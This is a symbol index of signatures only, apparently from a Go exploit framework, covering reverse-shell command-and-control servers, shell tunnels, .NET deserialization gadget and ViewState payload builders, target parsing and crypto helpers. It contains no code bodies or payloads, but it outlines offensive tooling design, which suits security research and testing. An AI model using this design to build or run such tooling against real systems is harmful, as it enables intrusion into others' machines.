method AddSession (line 69) | func (c *Channel) AddSession(conn *net.Conn, addr string) bool {
method UpdateLastSeenByConn (line 97) | func (c *Channel) UpdateLastSeenByConn(conn net.Conn, timeStamp time.T...
method GetSessionIDByConn (line 117) | func (c *Channel) GetSessionIDByConn(conn net.Conn) (string, bool) {
method RemoveSession (line 136) | func (c *Channel) RemoveSession(id string) bool {
method RemoveSessions (line 158) | func (c *Channel) RemoveSessions() bool {
type Session (line 30) | type Session struct
FILE: c2/cli/basic.go
function backgroundResponse (line 19) | func backgroundResponse(ch *channel.Channel, wg *sync.WaitGroup, conn ne...
function Basic (line 65) | func Basic(conn net.Conn, ch *channel.Channel) {
FILE: c2/external/external.go
type Server (line 165) | type Server struct
method SetFlags (line 213) | func (externalServer *Server) SetFlags(f func()) {
method CreateFlags (line 222) | func (externalServer *Server) CreateFlags() {
method SetInit (line 232) | func (externalServer *Server) SetInit(f func()) {
method SetChannel (line 245) | func (externalServer *Server) SetChannel(f func(*channel.Channel)) {
method Init (line 250) | func (externalServer *Server) Init(channel *channel.Channel) bool {
method SetRun (line 265) | func (externalServer *Server) SetRun(f func(int) bool) {
method Run (line 270) | func (externalServer *Server) Run(timeout int) {
method SetShutdown (line 277) | func (externalServer *Server) SetShutdown(f func() bool) {
method Shutdown (line 282) | func (externalServer *Server) Shutdown() bool {
method Channel (line 287) | func (externalServer *Server) Channel() *channel.Channel {
type External (line 178) | type External interface
function GetInstance (line 191) | func GetInstance(externalName string) *Server {
FILE: c2/factory.go
type Interface (line 17) | type Interface interface
type Impl (line 27) | type Impl struct
type category (line 33) | type category
constant InvalidCategory (line 36) | InvalidCategory category = -1
constant SimpleShellServerCategory (line 37) | SimpleShellServerCategory category = 0
constant SimpleShellClientCategory (line 38) | SimpleShellClientCategory category = 1
constant SSLShellServerCategory (line 39) | SSLShellServerCategory category = 2
constant HTTPServeFileCategory (line 40) | HTTPServeFileCategory category = 3
constant HTTPServeShellCategory (line 41) | HTTPServeShellCategory category = 4
constant ExternalCategory (line 42) | ExternalCategory category = 5
constant ShellTunnelCategory (line 43) | ShellTunnelCategory category = 6
constant HTTPShellServerCategory (line 44) | HTTPShellServerCategory category = 7
function AddC2 (line 81) | func AddC2(name string) Impl {
function GetInstance (line 97) | func GetInstance(implementation Impl) (Interface, bool) {
function CreateFlags (line 128) | func CreateFlags(implementation Impl) {
function HadSessions (line 157) | func HadSessions(implementation Impl) bool {
function HasSessions (line 188) | func HasSessions(implementation Impl) bool {
function StringToImpl (line 217) | func StringToImpl(c2Name string) (Impl, bool) {
FILE: c2/factory_test.go
function TestHTTPServeFileInit (line 10) | func TestHTTPServeFileInit(t *testing.T) {
function TestExternalModuleSingleton (line 47) | func TestExternalModuleSingleton(t *testing.T) {
function TestExternalModuleAddC2 (line 66) | func TestExternalModuleAddC2(t *testing.T) {
FILE: c2/httpservefile/httpservefile.go
type HostedFile (line 43) | type HostedFile struct
type Server (line 52) | type Server struct
method CreateFlags (line 89) | func (httpServer *Server) CreateFlags() {
method Channel (line 102) | func (httpServer *Server) Channel() *channel.Channel {
method Shutdown (line 107) | func (httpServer *Server) Shutdown() bool {
method Init (line 123) | func (httpServer *Server) Init(channel *channel.Channel) bool {
method AddFile (line 211) | func (httpServer *Server) AddFile(realName string, randomName string, ...
method Run (line 217) | func (httpServer *Server) Run(timeout int) {
method GetRandomName (line 319) | func (httpServer *Server) GetRandomName(filename string) string {
function GetInstance (line 78) | func GetInstance() *Server {
FILE: c2/httpserveshell/httpserveshell.go
type Server (line 46) | type Server struct
method CreateFlags (line 70) | func (serveShell *Server) CreateFlags() {
method Init (line 82) | func (serveShell *Server) Init(ch *channel.Channel) bool {
method Shutdown (line 121) | func (serveShell *Server) Shutdown() bool {
method Channel (line 197) | func (serveShell *Server) Channel() *channel.Channel {
method Run (line 202) | func (serveShell *Server) Run(timeout int) {
function GetInstance (line 61) | func GetInstance() *Server {
FILE: c2/httpshellserver/httpshellserver.go
type Server (line 31) | type Server struct
method Init (line 63) | func (httpServer *Server) Init(channel *channel.Channel) bool {
method CreateFlags (line 121) | func (httpServer *Server) CreateFlags() {
method Channel (line 129) | func (httpServer *Server) Channel() *channel.Channel {
method Shutdown (line 134) | func (httpServer *Server) Shutdown() bool {
method Run (line 152) | func (httpServer *Server) Run(timeout int) {
function GetInstance (line 55) | func GetInstance() *Server {
FILE: c2/shelltunnel/shelltunnel.go
type Server (line 67) | type Server struct
method CreateFlags (line 107) | func (shellTunnel *Server) CreateFlags() {
method Init (line 118) | func (shellTunnel *Server) Init(channel *channel.Channel) bool {
method Shutdown (line 161) | func (shellTunnel *Server) Shutdown() bool {
method Channel (line 178) | func (shellTunnel *Server) Channel() *channel.Channel {
method Run (line 182) | func (shellTunnel *Server) Run(timeout int) {
method createTLSListener (line 226) | func (shellTunnel *Server) createTLSListener(channel *channel.Channel)...
function GetInstance (line 99) | func GetInstance() *Server {
function handleTunnelConn (line 257) | func handleTunnelConn(clientConn net.Conn, host string, port int, ssl bo...
FILE: c2/simpleshell/simpleshellclient.go
type Client (line 14) | type Client struct
method CreateFlags (line 30) | func (shellClient *Client) CreateFlags() {
method Shutdown (line 33) | func (shellClient *Client) Shutdown() bool {
method Channel (line 46) | func (shellClient *Client) Channel() *channel.Channel {
method Init (line 50) | func (shellClient *Client) Init(channel *channel.Channel) bool {
method Run (line 78) | func (shellClient *Client) Run(timeout int) {
function GetClientInstance (line 22) | func GetClientInstance() *Client {
function connect (line 103) | func connect(host string, port int, timeout int) (net.Conn, bool) {
FILE: c2/simpleshell/simpleshellserver.go
type Server (line 22) | type Server struct
method CreateFlags (line 39) | func (shellServer *Server) CreateFlags() {
method Channel (line 43) | func (shellServer *Server) Channel() *channel.Channel {
method Shutdown (line 48) | func (shellServer *Server) Shutdown() bool {
method Init (line 66) | func (shellServer *Server) Init(channel *channel.Channel) bool {
method Run (line 95) | func (shellServer *Server) Run(timeout int) {
function GetServerInstance (line 30) | func GetServerInstance() *Server {
function handleSimpleConn (line 137) | func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net...
FILE: c2/sslshell/sslshellserver.go
type Server (line 35) | type Server struct
method CreateFlags (line 58) | func (shellServer *Server) CreateFlags() {
method Shutdown (line 68) | func (shellServer *Server) Shutdown() bool {
method Channel (line 86) | func (shellServer *Server) Channel() *channel.Channel {
method Init (line 92) | func (shellServer *Server) Init(channel *channel.Channel) bool {
method Run (line 142) | func (shellServer *Server) Run(timeout int) {
function GetInstance (line 49) | func GetInstance() *Server {
function handleSimpleConn (line 184) | func handleSimpleConn(conn net.Conn, cliLock *sync.Mutex, remoteAddr net...
FILE: cli/commandline.go
type IPIntel (line 28) | type IPIntel struct
type CustomFlag (line 35) | type CustomFlag struct
function inc (line 42) | func inc(ip net.IP) {
function generateIPv4CIDR (line 52) | func generateIPv4CIDR(cidr string) []string {
function buildRhosts (line 68) | func buildRhosts(conf *config.Config, rhosts string, rports string) bool {
function parseTriplet (line 129) | func parseTriplet(conf *config.Config, line string) bool {
function parseTuple (line 163) | func parseTuple(conf *config.Config, line string) bool {
function parseIPIntel (line 196) | func parseIPIntel(conf *config.Config, line string) bool {
function parseRhostsFile (line 230) | func parseRhostsFile(conf *config.Config, rhostsFile string) bool {
function handleRhostsOptions (line 273) | func handleRhostsOptions(conf *config.Config, rhosts string, rports stri...
function commonValidate (line 284) | func commonValidate(conf *config.Config, rhosts string, rports string, r...
function proxyFlags (line 330) | func proxyFlags(proxy *string) {
function handleProxyOptions (line 337) | func handleProxyOptions(proxy string) {
function loggingFlags (line 347) | func loggingFlags(logFile *string, frameworkLogLevel *string, exploitLog...
function handleLogOptions (line 360) | func handleLogOptions(logFile string, frameworkLogLevel string, exploitL...
function remoteHostFlags (line 385) | func remoteHostFlags(conf *config.Config, rhosts *string, rhostsFile *st...
function localHostFlags (line 399) | func localHostFlags(conf *config.Config) {
function exploitFunctionality (line 405) | func exploitFunctionality(conf *config.Config) {
function sslFlags (line 412) | func sslFlags(conf *config.Config) {
function dbFlags (line 418) | func dbFlags(conf *config.Config) {
function c2Flags (line 424) | func c2Flags(c2Selection *string, conf *config.Config) {
function validateC2Selection (line 459) | func validateC2Selection(c2Selection string, conf *config.Config) bool {
function printDetails (line 484) | func printDetails(conf *config.Config) {
function CodeExecutionCmdLineParse (line 541) | func CodeExecutionCmdLineParse(conf *config.Config) bool {
function InformationDisclosureCmdLineParse (line 608) | func InformationDisclosureCmdLineParse(conf *config.Config) bool {
function WebShellCmdLineParse (line 651) | func WebShellCmdLineParse(conf *config.Config) bool {
function loadFileFormatTemplate (line 694) | func loadFileFormatTemplate(templateFilePath string, conf *config.Config...
function FormatFileCmdLineParse (line 729) | func FormatFileCmdLineParse(conf *config.Config) bool {
function LocalCmdLineParse (line 797) | func LocalCmdLineParse(conf *config.Config) bool {
function addDefaultPayloadFlags (line 845) | func addDefaultPayloadFlags(conf *config.Config) (string, string, map[pa...
function addPayloadFlags (line 906) | func addPayloadFlags(conf *config.Config) {
FILE: cli/commandline_test.go
function TestCodeExecutionCmdLineParse (line 11) | func TestCodeExecutionCmdLineParse(t *testing.T) {
function TestCommonValidate (line 46) | func TestCommonValidate(t *testing.T) {
function TestRhostsParsing (line 76) | func TestRhostsParsing(t *testing.T) {
function TestParseTuple (line 146) | func TestParseTuple(t *testing.T) {
function TestParseTriplet (line 198) | func TestParseTriplet(t *testing.T) {
function TestParseIntelJSON (line 250) | func TestParseIntelJSON(t *testing.T) {
function TestFileFormatParams (line 290) | func TestFileFormatParams(t *testing.T) {
FILE: config/config.go
type ExploitType (line 18) | type ExploitType
method String (line 129) | func (eType ExploitType) String() string {
constant CodeExecution (line 21) | CodeExecution ExploitType = 0
constant InformationDisclosure (line 22) | InformationDisclosure ExploitType = 1
constant Webshell (line 23) | Webshell ExploitType = 2
constant FileFormat (line 24) | FileFormat ExploitType = 3
constant Local (line 25) | Local ExploitType = 4
type ImplementedFeatures (line 28) | type ImplementedFeatures struct
type SSLSupport (line 34) | type SSLSupport
constant SSLDisabled (line 37) | SSLDisabled SSLSupport = 0
constant SSLEnabled (line 38) | SSLEnabled SSLSupport = 1
constant SSLAutodiscover (line 39) | SSLAutodiscover SSLSupport = 2
type RhostTriplet (line 42) | type RhostTriplet struct
type Config (line 51) | type Config struct
method InitFlagsStructs (line 228) | func (conf *Config) InitFlagsStructs() {
method CreateStringFlag (line 237) | func (conf *Config) CreateStringFlag(name string, value string, usage ...
method CreateStringVarFlag (line 249) | func (conf *Config) CreateStringVarFlag(param *string, name string, va...
method CreateUintFlag (line 260) | func (conf *Config) CreateUintFlag(name string, value uint, usage stri...
method CreateUintVarFlag (line 272) | func (conf *Config) CreateUintVarFlag(param *uint, name string, value ...
method CreateIntFlag (line 283) | func (conf *Config) CreateIntFlag(name string, value int, usage string) {
method CreateIntVarFlag (line 295) | func (conf *Config) CreateIntVarFlag(param *int, name string, value in...
method CreateBoolFlag (line 306) | func (conf *Config) CreateBoolFlag(name string, value bool, usage stri...
method CreateBoolVarFlag (line 318) | func (conf *Config) CreateBoolVarFlag(param *bool, name string, value ...
method GetStringFlag (line 328) | func (conf *Config) GetStringFlag(name string) string {
method GetUintFlag (line 340) | func (conf *Config) GetUintFlag(name string) uint {
method GetIntFlag (line 352) | func (conf *Config) GetIntFlag(name string) int {
method GetBoolFlag (line 364) | func (conf *Config) GetBoolFlag(name string) bool {
method ApplyTemplate (line 401) | func (conf *Config) ApplyTemplate(name string) string {
method GenerateURL (line 421) | func (conf *Config) GenerateURL(path string) string {
method DisableC2Start (line 431) | func (conf *Config) DisableC2Start() {
method ResolveC2Payload (line 439) | func (conf *Config) ResolveC2Payload() c2.Impl {
method AddPayload (line 521) | func (conf *Config) AddPayload(p ...payload.Supported) {
method HasCustomPayload (line 541) | func (conf *Config) HasCustomPayload() bool {
function New (line 147) | func New(extype ExploitType, supportedC2 []c2.Impl, product string, cve ...
function NewLocal (line 160) | func NewLocal(extype ExploitType, supportedC2 []c2.Impl, product string,...
function NewRemoteExploit (line 178) | func NewRemoteExploit(implemented ImplementedFeatures, extype ExploitTyp...
function deDupeProductName (line 199) | func deDupeProductName(product []string, vendor string) string {
function NewLocalExploit (line 209) | func NewLocalExploit(implemented ImplementedFeatures, extype ExploitType...
FILE: config/config_test.go
function TestDefaultFlags (line 11) | func TestDefaultFlags(t *testing.T) {
function TestExternalDefaultFlags (line 42) | func TestExternalDefaultFlags(t *testing.T) {
function TestApplyTemplate (line 77) | func TestApplyTemplate(t *testing.T) {
function TestGenerateURL (line 102) | func TestGenerateURL(t *testing.T) {
FILE: db/create.go
constant schemaVersion (line 38) | schemaVersion = "1.0.0"
constant metadataTable (line 40) | metadataTable = `CREATE TABLE IF NOT EXISTS metadata (created INTEGE...
constant initMetadataTable (line 41) | initMetadataTable = `INSERT INTO metadata (created, schema_version) VALU...
constant checkMetadata (line 42) | checkMetadata = `SELECT name FROM sqlite_master WHERE type ='table' ...
constant getSchemaVersion (line 43) | getSchemaVersion = `SELECT schema_version FROM metadata;`
constant verifiedTable (line 45) | verifiedTable = `CREATE TABLE IF NOT EXISTS verified(` +
constant httpCacheTable (line 54) | httpCacheTable = `CREATE TABLE IF NOT EXISTS http_cache(` +
function InitializeDB (line 63) | func InitializeDB(name string) bool {
function checkMetadataExists (line 92) | func checkMetadataExists(handle *sql.DB) bool {
function createMetadataTable (line 99) | func createMetadataTable(handle *sql.DB) bool {
function checkSchemaVersion (line 117) | func checkSchemaVersion(handle *sql.DB) bool {
function createVerifiedSoftwareTable (line 135) | func createVerifiedSoftwareTable(handle *sql.DB) bool {
function createHTTPCacheTable (line 146) | func createHTTPCacheTable(handle *sql.DB) bool {
FILE: db/get.go
constant getCacheData (line 4) | getCacheData = `SELECT data FROM http_cache WHERE rhost = ? AND rport = ...
constant getInstalled (line 5) | getInstalled = `SELECT installed FROM verified WHERE software_name = ? A...
function GetHTTPResponse (line 9) | func GetHTTPResponse(rhost string, rport int, path string) (string, bool) {
function GetVerified (line 22) | func GetVerified(product string, rhost string, rport int) (bool, bool) {
FILE: db/update.go
constant verifiedUpsert (line 12) | verifiedUpsert = `INSERT INTO verified (id, created, software_name, inst...
constant cacheUpsert (line 21) | cacheUpsert = `INSERT INTO http_cache (id, created, rhost, rport, uri, d...
function UpdateVerified (line 30) | func UpdateVerified(software string, installed bool, version string, rho...
function CacheHTTPResponse (line 46) | func CacheHTTPResponse(rhost string, rport int, path string, httpResp []...
FILE: dotnet/dotnetgadget.go
function ReadGadget (line 52) | func ReadGadget(gadgetName, formatter string) ([]byte, error) {
function lengthPrefixedString (line 61) | func lengthPrefixedString(input string) string {
function Write7BitEncodedInt (line 69) | func Write7BitEncodedInt(value int) []byte {
function TextFormattingRunPropertiesBinaryFormatter (line 86) | func TextFormattingRunPropertiesBinaryFormatter(cmd string) string {
function IsValidXML (line 108) | func IsValidXML(data []byte) bool {
function CreateAxHostStateDLL (line 112) | func CreateAxHostStateDLL(dllBytes []byte, formatter string) (string, bo...
function CreateDLLReflection (line 170) | func CreateDLLReflection(dllBytes []byte, formatter string) (string, boo...
function CreateDataSetXMLDiffGram (line 1052) | func CreateDataSetXMLDiffGram(payloadIn string) (string, bool) {
function CreateTextFormattingRunProperties (line 1125) | func CreateTextFormattingRunProperties(program string, args string, form...
function CreateDataSet (line 1178) | func CreateDataSet(program string, args string, formatter string) (strin...
function CreateObjectDataProvider (line 1315) | func CreateObjectDataProvider(program string, args string, formatter str...
function CreateTypeConfuseDelegate (line 1350) | func CreateTypeConfuseDelegate(program string, args string, formatter st...
function CreateWindowsIdentity (line 1613) | func CreateWindowsIdentity(program string, args string, formatter string...
function CreateClaimsPrincipal (line 1678) | func CreateClaimsPrincipal(program string, args string, formatter string...
function CreateDataSetTypeSpoof (line 1742) | func CreateDataSetTypeSpoof(program string, args string, formatter strin...
function CreateVeeamCryptoKeyInfo (line 1887) | func CreateVeeamCryptoKeyInfo(url string, formatter string) (string, boo...
function CreateObjectRef (line 2038) | func CreateObjectRef(url string, formatter string) (string, bool) {
FILE: dotnet/dotnetgadget_test.go
function TestTextFormattingRunPropertiesBinaryFormatter (line 9) | func TestTextFormattingRunPropertiesBinaryFormatter(t *testing.T) {
function TestGetBinaryLibraryRecord (line 25) | func TestGetBinaryLibraryRecord(t *testing.T) {
function TestGetClassInfo (line 34) | func TestGetClassInfo(t *testing.T) {
function TestGetMemberTypeInfo (line 43) | func TestGetMemberTypeInfo(t *testing.T) {
function TestGetSerializationHeaderRecord (line 53) | func TestGetSerializationHeaderRecord(t *testing.T) {
function TestGetBinaryObjectString (line 62) | func TestGetBinaryObjectString(t *testing.T) {
function TestCreateTextFormattingRunProperties (line 86) | func TestCreateTextFormattingRunProperties(t *testing.T) {
function TestFormatLOS (line 94) | func TestFormatLOS(t *testing.T) {
function TestFormatSOAPWindowsIdentity (line 103) | func TestFormatSOAPWindowsIdentity(t *testing.T) {
function TestFormatSOAPDataSet (line 110) | func TestFormatSOAPDataSet(t *testing.T) {
function TestFormatSOAP (line 117) | func TestFormatSOAP(t *testing.T) {
function TestCreateDataSet (line 124) | func TestCreateDataSet(t *testing.T) {
function TestCreateObjectDataProvider (line 137) | func TestCreateObjectDataProvider(t *testing.T) {
function TestCreateTypeConfuseDelegate (line 144) | func TestCreateTypeConfuseDelegate(t *testing.T) {
function TestCreateClaimsPrincipal (line 151) | func TestCreateClaimsPrincipal(t *testing.T) {
function TestCreateCreateDataSetTypeSpoof (line 158) | func TestCreateCreateDataSetTypeSpoof(t *testing.T) {
function TestPrimitiveByte (line 165) | func TestPrimitiveByte(t *testing.T) {
function TestCreateObjectRef (line 172) | func TestCreateObjectRef(t *testing.T) {
function TestCreateVeeamCryptoKeyInfo (line 179) | func TestCreateVeeamCryptoKeyInfo(t *testing.T) {
function TestViewstateGeneration (line 186) | func TestViewstateGeneration(t *testing.T) {
function TestCreateAxHostStateDLL (line 204) | func TestCreateAxHostStateDLL(t *testing.T) {
function TestPrimToString (line 214) | func TestPrimToString(t *testing.T) {
FILE: dotnet/formatters.go
constant LOSFormatter (line 18) | LOSFormatter = "LOSFormatter"
constant BinaryFormatter (line 19) | BinaryFormatter = "BinaryFormatter"
constant SOAPFormatter (line 20) | SOAPFormatter = "SOAPFormatter"
constant SOAPFormatterWithExceptions (line 21) | SOAPFormatterWithExceptions = "SOAPFormatterWithExceptions"
function FormatLOS (line 24) | func FormatLOS(input string) string {
type SOAPEnvelope (line 34) | type SOAPEnvelope struct
type Body (line 46) | type Body struct
method addClassWithMemberAndTypes (line 89) | func (body *Body) addClassWithMemberAndTypes(n int, record ClassWithMe...
type ClassDataNode (line 50) | type ClassDataNode struct
method addAttribute (line 75) | func (classData *ClassDataNode) addAttribute(name string, value string) {
type MemberNode (line 58) | type MemberNode struct
method addAttribute (line 68) | func (memberNode *MemberNode) addAttribute(name string, value string) {
function escapeTags (line 82) | func escapeTags(input string) string {
function FormatSOAP (line 151) | func FormatSOAP(records []Record) (string, SOAPEnvelope, bool) {
function FormatSOAPWithExceptions (line 207) | func FormatSOAPWithExceptions(records []Record) (string, bool) {
FILE: dotnet/general_types.go
type Primitive (line 14) | type Primitive interface
type PrimitiveInt16 (line 19) | type PrimitiveInt16
method PrimToString (line 25) | func (me PrimitiveInt16) PrimToString() string {
type PrimitiveInt32 (line 20) | type PrimitiveInt32
method PrimToString (line 36) | func (me PrimitiveInt32) PrimToString() string {
type PrimitiveByte (line 21) | type PrimitiveByte
method PrimToString (line 40) | func (me PrimitiveByte) PrimToString() string {
type PrimitiveByteString (line 22) | type PrimitiveByteString
method PrimToString (line 32) | func (me PrimitiveByteString) PrimToString() string {
type ClassInfo (line 108) | type ClassInfo struct
method GetLeadingClassName (line 241) | func (classInfo ClassInfo) GetLeadingClassName() string {
method GetBaseClassName (line 256) | func (classInfo ClassInfo) GetBaseClassName() string {
method ToBin (line 270) | func (classInfo ClassInfo) ToBin() string {
type ClassTypeInfo (line 120) | type ClassTypeInfo struct
type MemberTypeInfo (line 127) | type MemberTypeInfo struct
method ToBin (line 193) | func (memberTypeInfo MemberTypeInfo) ToBin() (string, bool) {
function needsAdditionalInfo (line 134) | func needsAdditionalInfo(inType string) bool {
function getMemberTypeInfo (line 152) | func getMemberTypeInfo(memberTypes []string, memberNames []string, addit...
FILE: dotnet/records.go
type Record (line 12) | type Record interface
type MemberPrimitiveTypedRecord (line 19) | type MemberPrimitiveTypedRecord struct
method GetRecordType (line 148) | func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) GetRecord...
method ToXML (line 185) | func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToXML(_ C...
method ToRecordBin (line 398) | func (memberPrimitiveTypedRecord MemberPrimitiveTypedRecord) ToRecordB...
type BinaryArrayRecord (line 24) | type BinaryArrayRecord struct
method GetRecordType (line 108) | func (binaryArrayRecord BinaryArrayRecord) GetRecordType() int {
method ToXML (line 191) | func (binaryArrayRecord BinaryArrayRecord) ToXML(_ ClassInfo, _ Member...
method ToRecordBin (line 299) | func (binaryArrayRecord BinaryArrayRecord) ToRecordBin() (string, bool) {
type ClassWithIDRecord (line 34) | type ClassWithIDRecord struct
method GetRecordType (line 120) | func (classWithIDRecord ClassWithIDRecord) GetRecordType() int {
method ToXML (line 209) | func (classWithIDRecord ClassWithIDRecord) ToXML(_ ClassInfo, _ Member...
method ToRecordBin (line 436) | func (classWithIDRecord ClassWithIDRecord) ToRecordBin() (string, bool) {
type BinaryLibraryRecord (line 40) | type BinaryLibraryRecord struct
method GetRecordType (line 140) | func (binaryLibraryRecord BinaryLibraryRecord) GetRecordType() int {
method ToXML (line 248) | func (binaryLibraryRecord BinaryLibraryRecord) ToXML(_ ClassInfo, _ Me...
method ToRecordBin (line 428) | func (binaryLibraryRecord BinaryLibraryRecord) ToRecordBin() (string, ...
type SystemClassWithMembersAndTypesRecord (line 45) | type SystemClassWithMembersAndTypesRecord struct
method GetRecordType (line 132) | func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTy...
method ToXML (line 236) | func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTy...
method ToRecordBin (line 482) | func (systemClassWithMembersAndTypesRecord SystemClassWithMembersAndTy...
type ClassWithMembersAndTypesRecord (line 51) | type ClassWithMembersAndTypesRecord struct
method GetRecordType (line 128) | func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) G...
method ToXML (line 225) | func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) T...
method ToRecordBin (line 527) | func (classWithMembersAndTypesRecord ClassWithMembersAndTypesRecord) T...
type SerializationHeaderRecord (line 59) | type SerializationHeaderRecord struct
method GetRecordType (line 136) | func (serializationHeaderRecord SerializationHeaderRecord) GetRecordTy...
method ToXML (line 242) | func (serializationHeaderRecord SerializationHeaderRecord) ToXML(_ Cla...
method ToRecordBin (line 418) | func (serializationHeaderRecord SerializationHeaderRecord) ToRecordBin...
type MemberReferenceRecord (line 64) | type MemberReferenceRecord struct
method GetRecordType (line 144) | func (memberReferenceRecord MemberReferenceRecord) GetRecordType() int {
method ToXML (line 254) | func (memberReferenceRecord MemberReferenceRecord) ToXML(classInfo Cla...
method ToRecordBin (line 406) | func (memberReferenceRecord MemberReferenceRecord) ToRecordBin() (stri...
type ObjectNullMultiple256Record (line 68) | type ObjectNullMultiple256Record struct
method GetRecordType (line 100) | func (objectNullMultiple256Record ObjectNullMultiple256Record) GetReco...
method ToXML (line 179) | func (objectNullMultiple256Record ObjectNullMultiple256Record) ToXML(_...
method ToRecordBin (line 386) | func (objectNullMultiple256Record ObjectNullMultiple256Record) ToRecor...
type ObjectNullRecord (line 72) | type ObjectNullRecord struct
method GetRecordType (line 152) | func (objectNullRecord ObjectNullRecord) GetRecordType() int {
method ToXML (line 262) | func (objectNullRecord ObjectNullRecord) ToXML(classInfo ClassInfo, _ ...
method ToRecordBin (line 413) | func (objectNullRecord ObjectNullRecord) ToRecordBin() (string, bool) {
type BinaryObjectString (line 74) | type BinaryObjectString struct
method GetRecordType (line 124) | func (binaryObjectString BinaryObjectString) GetRecordType() int {
method ToXML (line 215) | func (binaryObjectString BinaryObjectString) ToXML(classInfo ClassInfo...
method ToRecordBin (line 474) | func (binaryObjectString BinaryObjectString) ToRecordBin() (string, bo...
type ArrayInfo (line 79) | type ArrayInfo struct
type ArraySinglePrimitiveRecord (line 84) | type ArraySinglePrimitiveRecord struct
method GetRecordType (line 104) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) GetRecord...
method ToXMLBespoke (line 158) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXMLBesp...
method ToXML (line 173) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToXML(_ C...
method ToRecordBin (line 377) | func (arraySinglePrimitiveRecord ArraySinglePrimitiveRecord) ToRecordB...
type ArraySingleStringRecord (line 90) | type ArraySingleStringRecord struct
method GetRecordType (line 116) | func (arraySingleStringRecord ArraySingleStringRecord) GetRecordType()...
method ToXML (line 203) | func (arraySingleStringRecord ArraySingleStringRecord) ToXML(_ ClassIn...
method ToRecordBin (line 272) | func (arraySingleStringRecord ArraySingleStringRecord) ToRecordBin() (...
type ArraySingleObjectRecord (line 95) | type ArraySingleObjectRecord struct
method GetRecordType (line 112) | func (arraySingleObjectRecord ArraySingleObjectRecord) GetRecordType()...
method ToXML (line 197) | func (arraySingleObjectRecord ArraySingleObjectRecord) ToXML(_ ClassIn...
method ToRecordBin (line 354) | func (arraySingleObjectRecord ArraySingleObjectRecord) ToRecordBin() (...
FILE: dotnet/viewstate.go
function GenerateViewstateHMAC (line 24) | func GenerateViewstateHMAC(data string, algo string, hexKey string) (str...
function GeneratorToArray (line 53) | func GeneratorToArray(input string) ([]byte, bool) {
function CreateViewstatePayload (line 75) | func CreateViewstatePayload(payloadData string, machineKey string, gener...
function getPurpose (line 112) | func getPurpose(webPath string) string {
function EncryptViewState (line 124) | func EncryptViewState(plaintext []byte, encryptionKey []byte, validation...
function Protect (line 188) | func Protect(decryptionKeyHex string, validationKeyHex string, validatio...
function DeriveKeys (line 207) | func DeriveKeys(decryptionKeyHex string, validationKeyHex string, webPat...
FILE: dotnet/viewstate_test.go
constant DerivedValidationKey (line 14) | DerivedValidationKey = "ffcfaa1d6a36fe58d5bad121dec3bb0512153ea8c7c9a8f3...
constant DerivedDecryptionKey (line 15) | DerivedDecryptionKey = "245428c1b66d73cd0c1da7005023f58ee8b676567baf600f"
function ExampleProtect (line 19) | func ExampleProtect() {
function TestGetPurpose (line 36) | func TestGetPurpose(t *testing.T) {
function TestSP800108HMACSHA512 (line 52) | func TestSP800108HMACSHA512(t *testing.T) {
function TestEncryptViewstate (line 66) | func TestEncryptViewstate(t *testing.T) {
function TestDeriveKeys (line 87) | func TestDeriveKeys(t *testing.T) {
function TestProtect (line 110) | func TestProtect(t *testing.T) {
FILE: encryption/aes.go
type Padding (line 11) | type Padding struct
function noPad (line 28) | func noPad(data []byte, blockSize int) ([]byte, bool) {
function PKCS7Pad (line 39) | func PKCS7Pad(data []byte, blockSize int) ([]byte, bool) {
function PKCS7Unpad (line 53) | func PKCS7Unpad(data []byte, blockSize int) ([]byte, bool) {
FILE: encryption/aes_crypto.go
function newAESBlock (line 12) | func newAESBlock(key []byte) (cipher.Block, bool) {
function newAESGCM (line 23) | func newAESGCM(key []byte) (cipher.AEAD, bool) {
function resolvePadding (line 39) | func resolvePadding(p []Padding) Padding {
function AESCBCEncrypt (line 50) | func AESCBCEncrypt(plaintext, key []byte, padding ...Padding) ([]byte, b...
function AESCBCEncryptWithIV (line 57) | func AESCBCEncryptWithIV(plaintext, key, iv []byte, padding ...Padding) ...
function aesCBCEncrypt (line 61) | func aesCBCEncrypt(plaintext, key, iv []byte, prependIV bool, pad Paddin...
function AESCBCDecrypt (line 97) | func AESCBCDecrypt(ciphertext, key []byte, padding ...Padding) ([]byte, ...
function AESCBCDecryptWithIV (line 109) | func AESCBCDecryptWithIV(ciphertext, key, iv []byte, padding ...Padding)...
function aesCBCDecrypt (line 119) | func aesCBCDecrypt(ciphertext, key, iv []byte, pad Padding) ([]byte, boo...
function AESGCMEncrypt (line 133) | func AESGCMEncrypt(plaintext, key []byte) ([]byte, bool) {
function AESGCMDecrypt (line 151) | func AESGCMDecrypt(ciphertext, key []byte) ([]byte, bool) {
FILE: encryption/aes_crypto_test.go
function TestAESCBCRoundtrip (line 12) | func TestAESCBCRoundtrip(t *testing.T) {
function TestAESCBCWithIVRoundtrip (line 39) | func TestAESCBCWithIVRoundtrip(t *testing.T) {
function TestAESCBCBadKey (line 66) | func TestAESCBCBadKey(t *testing.T) {
function TestAESCBCInvalidKeySize (line 90) | func TestAESCBCInvalidKeySize(t *testing.T) {
function TestAESGCMRoundtrip (line 97) | func TestAESGCMRoundtrip(t *testing.T) {
function TestAESGCMTampered (line 120) | func TestAESGCMTampered(t *testing.T) {
function TestAESGCMBadKey (line 140) | func TestAESGCMBadKey(t *testing.T) {
function TestPKCS7PadUnpadRoundtrip (line 162) | func TestPKCS7PadUnpadRoundtrip(t *testing.T) {
function TestAESCBCNoPadding (line 180) | func TestAESCBCNoPadding(t *testing.T) {
function TestAESCBCNoPaddingUnaligned (line 204) | func TestAESCBCNoPaddingUnaligned(t *testing.T) {
function TestAESKeySizes (line 219) | func TestAESKeySizes(t *testing.T) {
FILE: encryption/certificate.go
function GenerateCertificate (line 17) | func GenerateCertificate() (tls.Certificate, bool) {
FILE: encryption/des.go
function PKCS5Padding (line 12) | func PKCS5Padding(src []byte, blockSize int) []byte {
function TripleDesEncryption (line 20) | func TripleDesEncryption(key, iv, plainText []byte) ([]byte, bool) {
FILE: encryption/kdf.go
